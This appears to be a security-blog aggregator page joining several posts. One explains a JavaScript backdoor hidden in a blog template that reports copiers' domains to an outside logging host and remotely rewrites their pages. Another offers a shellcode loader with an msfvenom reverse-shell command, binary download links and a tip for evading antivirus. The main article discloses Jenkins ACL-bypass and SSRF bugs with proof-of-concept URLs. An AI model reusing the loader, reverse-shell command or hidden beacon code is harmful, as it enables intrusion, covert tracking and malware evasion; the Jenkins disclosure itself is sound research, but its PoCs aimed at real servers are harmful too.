Aggregator
Shifting the Burden: Long-term Magnifying Consequences
我为何在博客模板留后门
在前段时间,我在我博客的模板上加入了后门(JavaScript),今天去除,并将思路简单的写出来。
为什么留后门呢?起因:在前不久,团队官网模板就被偷走,很让人生气,抄袭者团队(以下简称为:A)没有打一声招呼就拿走了,但可笑的是A并没有在模板中修改JavaScript文件的外链引用,而是直接使用我们的JavaScript文件,所以简单的利用JS修改了一下其主页,提醒了下他,经过后来A主动与我联系并道歉,这件事情才结束~
让我吃惊的是,这件事之后我发现我博客主题模板被拿走了,是的,不止一个哥们。
我在我的博客项目中说明了https://github.com/gh0stkey/gh0stkey.github.io
个人博客 gh0st.cn 模版来自:https://github.com/heiswayi/the-plain 在原基础上增加了分页、网易云音乐播放器等功能(做了一些排版细节上的调整),拿之前告诉我下,谢谢!
因为博客采用的是Github Pages + Jekyll,所以需要依赖于Github的进行托管,模板也就自然而然的可以直接git clone下来,模板也是我进行二次修改的,我觉得起码要尊重下作者,在博客主题或项目之类的进行说明,打声招呼也行,一声不吭的拿走是几个意思……
有个好兄弟说过这样一段话,望周知:
参考别人的研究成果,注明来源是基本素质,每个人都应该构建一个和谐积极向上的氛围,知道的人不愿意分享的原因就是不被别人认可,互相认可才能进步,现在理解一些师傅的苦衷了,挺悲哀的。请各位在以后的学习生涯上,尊重别人的分享,认可他人,互相感染才能进步。
关于后门我是一个“重度洁癖患者”,不喜欢自己的任何东西带上任何污点。包括对于在自己博客模板中加入后门,这对我来说是一件带有“大污点”的事情,所以思考了很久决定加上后门。
后门的构建 JavaScript 后门模板后门选择的是JavaScript外链引用,而JavaScript的内容构建步骤如下:
1.判断是否是自己的域名(这个正则写的不严谨是可以被绕过的,例如:gh0st.cn.bypass.cn):
var host = document.location.host; //获取host var reg = new RegExp(/gh0st.cn/); //创建正则 var isok = reg.test(host); //匹配结果:False\True if(!isok){//判断 ...code }2.触发式:在一个Web服务上添加了isopen.txt这个文件,内容为NO则不触发,内容为YES则触发。(选择触发式的原因是因为博客上线有本地调试这一环节,如果在本地就触发了,那岂不是得不偿失,没有造成什么直接损害~)
var xhr = new XMLHttpRequest(); //创建XMLHttpRequest xhr.onreadystatechange=function(){ //请求成功则触发 if(xhr.responseText == "YES"){ //判断请求网站的内容是否是YES,如果是则进行下一步 document.write("<center><h1>Please tell me before using my template!By:[Vulkey_Chen]<center><h1>"); //页面内容修改 } } xhr.open("GET","http://webserver/isopen.txt",true); //请求http://webserver/isopen.txt xhr.send(null);3.既然选择了触发式的后门,那么就需要知道是谁偷了模板,这里利用的是ceye.io这个平台去记录“小偷”的域名和IP之类的东西:
var img = document.createElement("img"); //创建img标签 img.src="http://myblog.你的地址.ceye.io/fuck?domain=" + host; //设置img标签的src属性 img.stytle.display="none"; //设置img标签的样式的display属性为none(表示这个将图片隐藏) document.body.appendChild(img); //在DOM节点(body)内加入img标签4.在博客模板的header.html中引用了外部的JS地址<script src="http://webserver/xxx.js">
完整代码如下:
var host = document.location.host; var reg = new RegExp(/gh0st.cn/); var isok = reg.test(host); if(!isok){ var img = document.createElement("img"); img.src="http://myblog.你的地址.ceye.io/fuck?domain=" + host; img.stytle.display="none"; document.body.appendChild(img); var xhr = new XMLHttpRequest(); xhr.onreadystatechange=function(){ if(xhr.responseText == "YES"){ document.write("<center><h1>Please tell me before using my template!By:[Vulkey_Chen]<center><h1>"); } } xhr.open("GET","http://webserver/isopen.txt",true); xhr.send(null); } Python 监控利用ceye.io这个平台的API去实时监控,并且使用邮件发信通知。
导入Python模块 && 全局变量:
import smtplib,requests,json,urlparse,sys from email.MIMEText import MIMEText from email.Utils import formatdate from email.Header import Header log = {}1.163邮件发信:
def send_mail(domain,ip): smtpHost = 'smtp.163.com' smtpPort = '25' fromMail = '邮箱账户' toMail = '邮箱账户,收信方' username = '邮箱账户' password = '邮箱密码' reload(sys) sys.setdefaultencoding('utf8') subject = u'博客监控到有人偷模板!' body = u"[小偷信息]\nDomain: {0} IP: {1}".format(domain,ip) encoding = 'utf-8' mail = MIMEText(body.encode(encoding),'plain',encoding) mail['Subject'] = Header(subject,encoding) mail['From'] = fromMail mail['To'] = toMail mail['Date'] = formatdate() try: smtp = smtplib.SMTP(smtpHost,smtpPort) smtp.ehlo() smtp.login(username,password) smtp.sendmail(fromMail,toMail.split(','),mail.as_string()) print u"邮件已发送,监控信息:" print body except Exception,e: print e print u"发送失败,监控信息:" print body finally: smtp.close()2.ceye.io API调用获取信息,个人中心可以看见API TOKEN,API使用方法:
def dnslog_monitor(): api = "http://api.ceye.io/v1/records?token=你的TOKEN&type=http&filter=myblog" r = requests.get(api) json_data = json.loads(r.text) for i in json_data['data']: query = urlparse.urlparse(i['name']).query sb_domain = dict([(k, v[0]) for k, v in urlparse.parse_qs(query).items()])['domain'] sb_ip = i['remote_addr'] if sb_domain in log: pass else: log[sb_domain] = sb_ip send_mail(sb_domain,sb_ip)3.main函数:
def main(): while True: dnslog_monitor() 后门的运行python脚本挂在服务器跑了一段时间,也发现了一个哥们又拿走了我的博客模板:
让他”用”了一段时间,便将isopen.txt的内容改为了YES(即触发了后门),其后来也与我联系,并进行了和解。
写在最后的话也是因为“重度洁癖”,决定将模板后门去除。望君尊重技术、分享、作者,共勉!
Micropoor_shellcode for payload backdoor
Micropoor_shellcode:
Usage: Micropoor_shellcode port host E.g Micropoor_shellcode.exe 4444 192.168.1.5
Generate payload:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.4 LPORT=53 -b '\x00' -f c |grep -v unsigned|sed "s/\"\\\x//g"|sed "s/\\\x//g"|sed "s/\"//g"|sed ':a;N;$!ba;s/\n//g'|sed "s/;//g"
copy shellcode to Micropoor_box.rb
Micropoor_shellcode_x64.exe: 大小: 136192 字节 修改时间: 2019年1月22日, 4:40:59 MD5: 304F3C23AD6C57714EDB73D93DA6813D SHA1: 63B213272AADA91A44F965741E3720EE25CAF7C9 CRC32: 4C2FDE0A https://drive.google.com/open?id=14HapmSXQtb-HpnXeO3MUEf2utwKfkhOa
Micropoor_shellcode_x86.exe: 大小: 117248 字节 修改时间: 2019年1月22日, 2:45:50 MD5: D91444F0A632DEE7F57BAE432CEFFAEC SHA1: 3D5135FE30FBEFD090B6BBB1F7738DB25B0C2CCC CRC32: 02BE2833 https://drive.google.com/open?id=15GqGl5KgfVpEkCBItrmqddpDxmXzFG6m
Micropoor_shellcode.rb 大小: 956 字节 修改时间: 2019年1月22日, 3:13:17 MD5: 9A82AB2C3A39CABC26FC68864DB07BA1 SHA1: 92D6253C88BA10073CD3AAEE8C38C366DFC7761F CRC32: 97FA3861 https://drive.google.com/open?id=17uv2Mszu4et3Co1HWQ50mMZiPCL7Ku9F
目前搜集问题总结:
问题1:程序崩溃:
shellcode分离加载器分为x86,x64,版本。请对应相关的Micropoor_shellcode.exe。
这里需注意,msfvenom的payload其中windows/messagebox,是分x64与x86的,只是msfvenom本身仅提供了x86版本的shellcode。所以如果需运行messagebox,需要调用Micropoor_shellcode_x86.exe。
程序崩溃2:
如果生成x86或者x64的shellcode,那么msf本身请对应相关位数的payload。
问题2:被查杀:
了解用法后,请去掉Micropoor的字符串字样,或者更改其他字符串即可。
There's a hole in my bucket
How to Takedown 100,000 Malware Sites
docker搭建复现环境
Iwebshop sql注入
iwebshop最新版存在一个非常弱智的注入漏洞
Fighting Back Against Phishing and Fraud—Part 1
A Deep Dive into Point of Sale Security
think5审计与调试技巧1
Thinkphp >= 5.0.23 RCE 分析
起因是刚出来那天刚好有个站是 5.0.23 但是分析文章没给完整的截图, 打了码. 干脆自己分析一波写写 poc.
蜻蜓之眼——大四上学期总结
If I Had to Do It Over Again
Hacking Jenkins Part 1 - Play with Dynamic Routing (EN)
In software engineering, the Continuous Integration and Continuous Delivery is a best practice for developers to reduce routine works. In the CI/CD, the most well-known tool is Jenkins. Due to its ease of use, awesome Pipeline system and integration of Container, Jenkins is also the most widely used CI/CD application in the world. According to the JVM Ecosystem Report by Snyk in 2018, Jenkins held about 60% market share on the survey of CI/CD server.
For Red Teamers, Jenkins is also the battlefield that every hacker would like to control. If someone takes control of the Jenkins server, he can gain amounts of source code and credential, or even control the Jenkins node! In our DEVCORE Red Team cases, there are also several cases that the whole corporation is compromised from simply a Jenkins server as our entry point!
This article is mainly about a brief security review on Jenkins in the last year. During this review, we found 5 vulnerabilities including:
- CVE-2018-1999002 - Arbitrary file read vulnerability
- CVE-2018-1000600 - CSRF and missing permission checks in GitHub Plugin
- CVE-2018-1999046 - Unauthorized users could access agent logs
- CVE-2018-1000861 - Code execution through crafted URLs
- CVE-2019-1003000 - Sandbox Bypass in Script Security and Pipeline Plugins
- CVE-2019-1003001 - Sandbox Bypass in Script Security and Pipeline Plugins
- CVE-2019-1003002 - Sandbox Bypass in Script Security and Pipeline Plugins
Among them, the more discussed one is the vulnerability CVE-2018-1999002. This is an arbitrary file read vulnerability through an unusual attack vector! Tencent YunDing security lab has written a detailed advisory about that, and also demonstrated how to exploit this vulnerability from arbitrary file reading to RCE on a real Jenkins site which found from Shodan!
However, we are not going to discuss that in this article. Instead, this post is about another vulnerability found while digging into Stapler framework in order to find a way to bypass the least privilege requirement ANONYMOUS_READ=True of CVE-2018-1999002! If you merely take a look at the advisory description, you may be curious – Is it reality to gain code execution with just a crafted URL?
From my own perspective, this vulnerability is just an Access Control List(ACL) bypass, but because this is a problem of the architecture rather than a single program, there are various ways to exploit this bug! In order to pay off the design debt, Jenkins team also takes lots of efforts (patches in Jenkins side and Stapler side) to fix that. The patch not only introduces a new routing blacklist and whitelist but also extends the original Service Provider Interface (SPI) to protect Jenkins’ routing. Now let’s figure out why Jenkins need to make such a huge code modification!
This is not a complete code review (An overall security review takes lots of time…), so this review just aims at high impact bugs. The review scope includes:
- Jenkins Core
- Stapler Web Framework
- Suggested Plugins
During the installation, Jenkins asks whether you want to install suggested plugins such as Git, GitHub, SVN and Pipeline. Basically, most people choose yes, or they will get an inconvenient and hard-to-use Jenkins.
Because the vulnerability is an ACL bypass, we need to introduce the privilege level in Jenkins first! In Jenkins, there are different kinds of ACL roles, Jenkins even has a specialized plugin Matrix Authorization Strategy Plugin(also in the suggested plugin list) to configure the detailed permission per project. From an attacker’s view, we roughly classify the ACL into 3 types:
1. Full AccessYou can fully control Jenkins. Once the attacker gets this permission, he can execute arbitrary Groovy code via Script Console!
print "uname -a".execute().textThis is the most hacker-friendly scenario, but it’s hard to see this configuration publicly now due to the increase of security awareness and lots of bots scanning all the IPv4.
2. Read-only ModeThis can be enabled from the Configure Global Security and check the radio box:
Allow anonymous read access
Under this mode, all contents are visible and readable. Such as agent logs and job/node information. For attackers, the best benefit of this mode is the accessibility of a bunch of private source codes! However, the attacker cannot do anything further or execute Groovy scripts!
Although this is not the default setting, for DevOps, they may still open this option for automations. According to a little survey on Shodan, there are about 12% servers enabled this mode! We will call this mode ANONYMOUS_READ=True in the following sections.
3. Authenticated ModeThis is the default mode. Without a valid credential, you can’t see any information! We will use ANONYMOUS_READ=False to call this mode in following sections.
To explain this vulnerability, we will start with Jenkins’ Dynamic Routing. In order to provide developers more flexibilities, Jenkins uses a naming convention to resolve the URL and invoke the method dynamically. Jenkins first tokenizes all the URL by /, and begins from jenkins.model.Jenkins as the entry point to match the token one by one. If the token matches (1)public class member or (2)public class method correspond to following naming conventions, Jenkins invokes recursively!
- get<token>()
- get<token>(String)
- get<token>(Int)
- get<token>(Long)
- get<token>(StaplerRequest)
- getDynamic(String, …)
- doDynamic(…)
- do<token>(…)
- js<token>(…)
- Class method with @WebMethod annotation
- Class method with @JavaScriptMethod annotation
It looks like Jenkins provides developers a lot of flexibility. However, too much freedom is not always a good thing. There are two problems based on this naming convention!
1. Everything is the Subclass of java.lang.ObjectIn Java, everything is a subclass of java.lang.Object. Therefore, all objects must exist the method - getClass(), and the name of getClass() just matches the naming convention rule #1! So the method getClass() can be also invoked during Jenkins dynamic routing!
2. Whitelist BypassAs mentioned before, the biggest difference between ANONYMOUS_READ=True and ANONYMOUS_READ=False is, if the flag set to False, the entry point will do one more check in jenkins.model.Jenkins#getTarget(). The check is a white-list based URL prefix check and here is the list:
private static final ImmutableSet<String> ALWAYS_READABLE_PATHS = ImmutableSet.of( "/login", "/logout", "/accessDenied", "/adjuncts/", "/error", "/oops", "/signup", "/tcpSlaveAgentListener", "/federatedLoginService/", "/securityRealm", "/instance-identity" );That means you are restricted to those entrances, but if you can find a cross reference from the white-list entrance jump to other objects, you can still bypass this URL prefix check! It seems a little bit hard to understand. Let’s give a simple example to demonstrate the dynamic routing:
http://jenkin.local/adjuncts/whatever/class/classLoader/resource/index.jsp/contentThe above URL will invoke following methods in sequence!
jenkins.model.Jenkins.getAdjuncts("whatever") .getClass() .getClassLoader() .getResource("index.jsp") .getContent()This execution chain seems smooth, but sadly, it can not retrieve the result. Therefore, this is not a potential risk, but it’s still a good case to understand the mechanism!
Once we realize the principle, the remaining part is like solving a maze. jenkins.model.Jenkins is the entry point. Every member in this object can references to a new object, so our work is to chain the object layer by layer till the exit door, that is, the dangerous method invocation!
By the way, the saddest thing is that this vulnerability cannot invoke the SETTER, otherwise this would definitely be another interesting classLoader manipulation bug just like Struts2 RCE and Spring Framework RCE!!
How to exploit? In brief, the whole thing this bug can achieve is to use cross reference objects to bypass ACL policy. To leverage it, we need to find a proper gadget so that we can invoke the object we prefer in this object-forest more conveniently! Here we choose the gadget:
/securityRealm/user/[username]/descriptorByName/[descriptor_name]/The gadget will invoke following methods sequencely.
jenkins.model.Jenkins.getSecurityRealm() .getUser([username]) .getDescriptorByName([descriptor_name])In Jenkins, all configurable objects will extend the type hudson.model.Descriptor. And, any class who extends the Descriptor type is accessible by method hudson.model.DescriptorByNameOwner#getDescriptorByName(String). In general, there are totally about 500 class types can be accessed! But due to the architecture of Jenkins. Most developers will check the permission before the dangerous action again. So even we can find a object reference to the Script Console, without the permission Jenkins.RUN_SCRIPTS, we still can’t do anything :(
Even so, this vulnerability can still be considered as a stepping stone to bypass the first ACL restriction and to chain other bugs. We will show 3 vulnerability-chains as our case study! (Although we just show 3 cases, there are more than 3! If you are intersted, it’s highly recommended to find others by yourself :P )
P.S. It should be noted that in the method getUser([username]), it will invoke getOrCreateById(...) with create flag set to True. This result to the creation of a temporary user in memory(which will be listed in the user list but can’t sign in). Although it’s harmless, it is still recognized as a security issue in SECURITY-1128.
While testing Jenkins, it’s a common scenario that you want to perform a brute-force attack but you don’t know which account you can try(a valid credential can read the source at least so it’s worth to be the first attempt).
In this situation, this vulnerability is useful! Due to the lack of permission check on search functionality. By modifying the keyword from a to z, an attacker can list all users on Jenkins!
PoC: http://jenkins.local/securityRealm/user/admin/search/index?q=[keyword]Also, this vulnerability can be also chained with SECURITY-514 which reported by Ananthapadmanabhan S R to leak user’s email address! Such as:
http://jenkins.local/securityRealm/user/admin/api/xmlThe next bug is CVE-2018-1000600, this bug is reported by Orange Tsai(Yes, it’s me :P). About this vulnerability, the official description is:
CSRF vulnerability and missing permission checks in GitHub Plugin allowed capturing credentials
It can extract any stored credentials with known credentials ID in Jenkins. But the credentials ID is a random UUID if there is no user-supplied value provided. So it seems impossible to exploit this?(Or if someone know how to obtain credentials ID, please tell me!)
Although it can’t extract any credentials without known credentials ID, there is still another attack primitive - a fully-response SSRF! We all know how hard it is to exploit a Blind SSRF, so that’s why a fully-responded SSRF is so valuable!
PoC: http://jenkins.local/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword ?apiUrl=http://169.254.169.254/%23 &login=orange &password=tsaiPLEASE DON’T BULLSHIT, WHERE IS THE RCE!!!
In order to maximize the impact, I also find an INTERESTING remote code execution can be chained with this vulnerability to a well-deserved pre-auth RCE! But it’s still on the responsible disclosure process. Please wait and see the Part 2! (Will be published on February 19th :P)
Here is my todo list which can make this vulnerability more perfect. If you find any of them please tell me, really appreciate it :P
- Get the Plugin object reference under ANONYMOUS_READ=False. If this can be done, it can bypass the ACL restriction of CVE-2018-1999002 and CVE-2018-6356 to a indeed pre-auth arbitrary file reading!
- Find another gadget to invoke the method getDescriptorByName(String) under ANONYMOUS_READ=False. In order to fix SECURITY-672, Jenkins applies a check on hudson.model.User to ensure the least privilege Jenkins.READ. So the original gadget will fail after Jenkins version 2.138.
Thanks Jenkins Security team especially Daniel Beck for the coordination and bug fixing! Here is the brief timeline:
- May 30, 2018 - Report vulnerabilities to Jenkins
- Jun 15, 2018 - Jenkins patched the bug and assigned CVE-2018-1000600
- Jul 18, 2018 - Jenkins patched the bug and assigned CVE-2018-1999002
- Aug 15, 2018 - Jenkins patched the bug and assigned CVE-2018-1999046
- Dec 05, 2018 - Jenkins patched the bug and assigned CVE-2018-1000861
- Dec 20, 2018 - Report Groovy vulnerability to Jenkins
- Jan 08, 2019 - Jenkins patched Groovy vulnerability and assigned CVE-2019-1003000, CVE-2019-1003001 and CVE-2019-1003002
Hacking Jenkins Part 1 - Play with Dynamic Routing
在軟體工程中, Continuous Integration 及 Continuous Delivery 一直都被譽為是軟體開發上的必備流程, 有多少優點就不多談, 光是幫助開發者減少許多雜事就是很大的優勢了! 而在 CI/CD 的領域中, Jenkins 是最為老牌且廣為人知的一套工具, 由於它的易用性, 強大的 Pipeline 系統以及對於容器完美的整合使得 Jenkins 也成為目前最多人使用的 CI/CD 應用, 根據 Snyk 在 2018 年所做出的 JVM 生態報告 中, Jenkins 在 CI/CD 應用中約佔六成的市佔率!
對於 紅隊演練(Red Team) 來說, Jenkins 更是兵家必爭之地, 只要能掌握企業暴露在外的 Jenkins 即可掌握大量的原始碼, 登入憑證甚至控制大量的 Jenkins 節點! 在過去 DEVCORE 所經手過的滲透案子中也出現過數次由 Jenkins 當成進入點, 一步一步從一個小裂縫將目標撕開到完整滲透整間公司的經典案例!
這篇文章主要是分享去年中針對 Jenkins 所做的一次簡單 Security Review, 過程中共發現了五個 CVE:
- CVE-2018-1999002 - Arbitrary file read vulnerability
- CVE-2018-1000600 - CSRF and missing permission checks in GitHub Plugin
- CVE-2018-1999046 - Unauthorized users could access agent logs
- CVE-2018-1000861 - Code execution through crafted URLs
- CVE-2019-1003000 - Sandbox Bypass in Script Security and Pipeline Plugins
- CVE-2019-1003001 - Sandbox Bypass in Script Security and Pipeline Plugins
- CVE-2019-1003002 - Sandbox Bypass in Script Security and Pipeline Plugins
其中比較被大家所討論的應該是 CVE-2018-1999002, 這是一個在 Windows 下的任意檔案讀取, 由於攻擊方式稍微有趣所以討論聲量較高一點, 這個弱點在外邊也有人做了詳細的分析, 詳情可以參考由騰訊雲鼎實驗室所做的分析(Jenkins 任意文件读取漏洞分析), 他們也成功的展示從 Shodan 找到一台未修補的 Jenkins 實現任意讀檔到遠端代碼執行取得權限的過程!
但這篇文章要提的並不是這個, 而是當時為了嘗試繞過 CVE-2018-1999002 所需的最小權限 Overall/Read 時跟進 Jenkins 所使用的核心框架 Stapler 挖掘所發現的另外一個問題 - CVE-2018-1000861! 如果光從官方的漏洞敘述應該會覺得很神奇, 真的可以光從隨便一個網址去達成代碼執行嗎?
針對這個漏洞, 我的觀點是它就是一個存取控制清單(ACL)上的繞過, 但由於這是 Jenkins 架構上的問題並不是單一的程式編寫失誤, 進而導致了這個漏洞利用上的多樣性! 而為了這個技術債, Jenkins 官方也花費了一番心力(Jenkins Patch 及 Stapler Patch)去修復這個漏洞, 不但在原有的架構上介紹了新的路由黑名單及白名單, 也擴展了原有架構的 Service Provider Interface (SPI) 去保護 Jenkins 路由, 下面就來解釋為何 Jenkins 要花了那麼多心力去修復這個漏洞!
首先要聲明的是, 這並不是一次完整的代碼審查(畢竟要做一次太花時間了…), 因此只針對高風險漏洞進行挖掘, 著眼的範圍包括:
- Jenkins 核心
- Stapler 網頁框架
- 建議安裝插件
Jenkins 在安裝過程中會詢問是否安裝建議的套件(像是 Git, GitHub, SVN 與 Pipeline… 等等), 基本上大多數人都會同意不然就只會得到一個半殘的 Jenkins 很不方便XD
因為這是一個基於 ACL 上的繞過, 所以在解釋漏洞之前, 先來介紹一下 Jenkins 中的權限機制! 在 Jenkins 中有數種不同的角色權限, 甚至有專門的 Matrix Authorization Strategy Plugin (同為建議安裝套件)可針對各專案進行細部的權限設定, 從攻擊者的角度我們粗略分成三種:
1. Full Access對於 Jenkins 有完整的控制權, 可對 Jenkins 做任何事! 基本上有這個權限即可透過 Script Console 介面使用 Groovy 執行任意代碼!
print "uname -a".execute().text這個權限對於駭客來說也是最渴望得到的權限, 但基本上由於安全意識的提升及網路上各種殭屍網路對全網進行掃描, 這種配置已經很少見(或只見於內網)
2. Read-only Mode可從 Configure Global Security 介面中勾選下面選項來開啟這個模式
Allow anonymous read access
在這個模式下, 所有的內容皆是可讀的, 例如可看到工作日誌或是一些 job/node 等敏感資訊, 對於攻擊者來說在這個模式下最大的好處就是可以獲得大量的原始碼! 但與 Full Access 模式最大的差異則是無法進行更進一步的操作或是執行 Groovy 代碼以取得控制權!
雖然這不是 Jenkins 的預設設定, 但對於一些習慣自動化的 DevOps 來說還是有可能開啟這個選項, 根據實際在 Shodan 上的調查約 12% 的機器還是開啟這個選項! 以下使用 ANONYMOUS_READ=True 來代稱這個模式
3. Authenticated Mode這是 Jenkins 預設安裝好的設定, 在沒有一組有效的帳號密碼狀況下無法看到任何資訊及進行任何操作! 以下使用 ANONYMOUS_READ=False 來代稱此模式
整個漏洞要從 Jenkins 的 動態路由 講起, 為了給開發者更大的彈性, Jenkins(嚴格來講是 Stapler)使用了一套 Naming Convention 去匹配路由及動態的執行! 首先 Jenkins 以 / 為分隔將 URL 符號化, 接著由 jenkins.model.Jenkins 為入口點開始往下搜尋, 如果符號符合 (1) Public 屬性的成員或是 (2) Public 屬性的方法符合下列命名規則, 則調用並繼續往下呼叫:
- get<token>()
- get<token>(String)
- get<token>(Int)
- get<token>(Long)
- get<token>(StaplerRequest)
- getDynamic(String, …)
- doDynamic(…)
- do<token>(…)
- js<token>(…)
- Class method with @WebMethod annotation
- Class method with @JavaScriptMethod annotation
看起來 Jenkins 給予開發者很大程度的自由去訪問各個物件, 但過於自由總是不好的,根據這種調用方式這裡就出現了兩個問題!
1. 萬物皆繼承 java.lang.Object在 Java 中, 所有的物件皆繼承 java.lang.Object 這個類別, 因此所有在 Java 中的物件皆存在著 getClass() 這個方法! 而恰巧這個方法又符合命名規則 #1, 因此 getClass() 可在 Jenkins 調用鏈中被動態呼叫!
2. 跨物件操作導致白名單繞過前面所提到的 ANONYMOUS_READ, 其中 True 與 False 間最大的不同在於當在禁止的狀況下, 最初的入口點會透過 jenkins.model.Jenkins#getTarget() 多做一個基於白名單的 URL 前綴檢查, 這個白名單如下:
private static final ImmutableSet<String> ALWAYS_READABLE_PATHS = ImmutableSet.of( "/login", "/logout", "/accessDenied", "/adjuncts/", "/error", "/oops", "/signup", "/tcpSlaveAgentListener", "/federatedLoginService/", "/securityRealm", "/instance-identity" );這也代表著一開始可選的入口限制更嚴格選擇更少, 但如果能在一個白名單上的入口找到其他物件參考, 跳到非白名單上的成員豈不可以繞過前述的 URL 前綴限制? 可能有點難理解, 這裡先來一個簡單的範例來解釋 Jenkins 的動態路由機制:
http://jenkin.local/adjuncts/whatever/class/classLoader/resource/index.jsp/content以上網址會依序執行下列方法
jenkins.model.Jenkins.getAdjuncts("whatever") .getClass() .getClassLoader() .getResource("index.jsp") .getContent()上面的執行鏈一個串一個雖然看起來很流暢, 但難過的是無法取得回傳內容, 因此嚴格來說不能算是一個風險, 但這個例子對於理解整個漏洞核心卻有很大的幫助!
在了解原理後, 剩下的事就像是在解一個迷宮, 從 jenkins.model.Jenkins 這個入口點開始, 物件中的每個成員又可以參考到一個新的物件, 接著要做的就是想辦法把中間錯綜複雜各種物件與物件間的關聯找出來, 一層一層的串下去直到迷宮出口 - 也就是危險的函數呼叫!
值得一提的是, 這個漏洞最可惜的地方應該是無法針對 SETTER 進行操作, 不然的話應該就又是另外一個有趣的 Struts2 RCE 或是 Spring Framework RCE 了!
所以該如何利用這個漏洞呢? 簡單說, 這個漏洞所能做到的事情就只是透過物件間的參考去繞過 ACL 政策, 但在此之前我們必須先找到一個好的跳板好讓我們可以更方便的在物件中跳來跳去, 這裡我們選用了下面這個跳板:
/securityRealm/user/[username]/descriptorByName/[descriptor_name]/這個跳板會依序執行下面方法
jenkins.model.Jenkins.getSecurityRealm() .getUser([username]) .getDescriptorByName([descriptor_name])在 Jenkins 中可以被操作的物件都會繼承一個 hudson.model.Descriptor 類別, 而繼承這個類別的物件都可以透過 hudson.model.DescriptorByNameOwner#getDescriptorByName(String) 去存取, 所以總體來說, 可透過這個跳板取得在 Jenkins 中約 500 個 Despicable 的物件類別!
不過雖是如此, 由於 Jenkins 的設計模式, 大部分開發者在危險動作之前都會再做一次權限檢查, 所以即使可呼叫到 Script Console 但在沒有 Jenkins.RUN_SCRIPTS 權限的情況下也無法做任何事 :(
但這個漏洞依然不失成為一個很好的膠水去繞過第一層的 ACL 限制串起其他的漏洞, 為後續的利用開啟了一道窗! 以下我們給出三個串出漏洞鏈的例子! (雖然只介紹三種, 但由於這個漏洞玩法非常自由可串的絕不只如此, 推薦有興趣的同學可在尋找更多的漏洞鏈!)
P.S. 值得注意的一點是, 在 getUser([username]) 的實現中會呼叫到 getOrCreateById(...) 並且傳入 create=True 導致在記憶體中創造出一個暫存使用者(會出現在使用者列表但無法進行登入操作), 雖然無用不過也被當成一個漏洞記錄在 SECURITY-1128
在測試 Jenkins 時, 最怕的就是要進行字典檔攻擊時卻不知道該攻擊哪個帳號, 畢竟帳號永遠比密碼難猜! 這時這個漏洞就很好用了XD
由於 Jenkins 對搜尋的功能並沒有加上適當的權限檢查, 因此在 ANONYMOUS_READ=False 的狀況下可以透過修改 keyword 參數從 a 到 z 去列舉出所有使用者!
PoC: http://jenkins.local/securityRealm/user/admin/search/index?q=[keyword]除此之外也可搭配由 Ananthapadmanabhan S R 所回報的 SECURITY-514 進一步取得使用者信箱, 如:
http://jenkins.local/securityRealm/user/admin/api/xml下一個要串的漏洞則是 CVE-2018-1000600, 這是一個由 Orange Tsai(對就是我XD) 所回報的漏洞, 關於這個漏洞官方的描述是:
CSRF vulnerability and missing permission checks in GitHub Plugin allowed capturing credentials
在已知 Credentials ID 的情形下可以洩漏任意 Jenkins 儲存的帳密, 但 Credentials ID 在沒指定的情況下會是一組隨機的 UUID 所以造成要利用這個漏洞似乎變得不太可能 (如果有人知道怎麼取得 Credentials ID 請告訴我!)
雖然在不知道 Credentials ID 的情況下無法洩漏任何帳密, 但這個漏洞其實不只這樣, 還有另一個玩法! 關於這個漏洞最大的危害其實不是 CSRF, 而是 SSRF!
不僅如此, 這個 SSRF 還是一個有回顯的 SSRF! 沒有回顯的 SSRF 要利用起來有多困難我想大家都知道 :P 因此一個有回顯的 SSRF 也就顯得何其珍貴!
PoC: http://jenkins.local/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword ?apiUrl=http://169.254.169.254/%23 &login=orange &password=tsai所以廢話少說, RCE 在哪?
為了最大程度的去利用這個漏洞, 我也挖了一個非常有趣的 RCE 可以與這個漏洞搭配使用成為一個真正意義上不用認證的 RCE! 但由於這個漏洞目前還在 Responsible Disclosure 的時程內, 就請先期待 Hacking Jenkins Part 2 囉! (預計二月中釋出!)
這裡是一些我想繼續研究的方向, 可以讓這個漏洞變得更完美! 如果你發現了下面任何一個的解法請務必告訴我, 我會很感激的XD
- 在 ANONYMOUS_READ=False 的權限下拿到 Plugin 的物件參考, 如果拿到的可以繞過 CVE-2018-1999002 與 CVE-2018-6356 所需的最小權限限制, 成為一個真正意義上的免登入任意讀檔!
- 在 ANONYMOUS_READ=False 的權限下找出另一組跳板去呼叫 getDescriptorByName(String). 為了修復 SECURITY-672, Jenkins 從 2.138 開始對 hudson.model.User 增加判斷 Jenkins.READ 的檢查, 導致原有的跳板失效!
最後, 感謝 Jenkins Security 團隊尤其是 Daniel Beck 的溝通協調與漏洞修復! 這裡是一個簡單的回報時間軸:
- May 30, 2018 - 回報漏洞給 Jenkins
- Jun 15, 2018 - Jenkins 修補並分配 CVE-2018-1000600
- Jul 18, 2018 - Jenkins 修補並分配 CVE-2018-1999002
- Aug 15, 2018 - Jenkins 修復並分配 CVE-2018-1999046
- Dec 05, 2018 - Jenkins 修補並分配 CVE-2018-1000861
- Dec 20, 2018 - 回報 Groovy 漏洞給 Jenkins
- Jan 08, 2019 - Jenkins 修復 Groovy 漏洞並分配 CVE-2019-1003000, CVE-2019-1003001, CVE-2019-1003002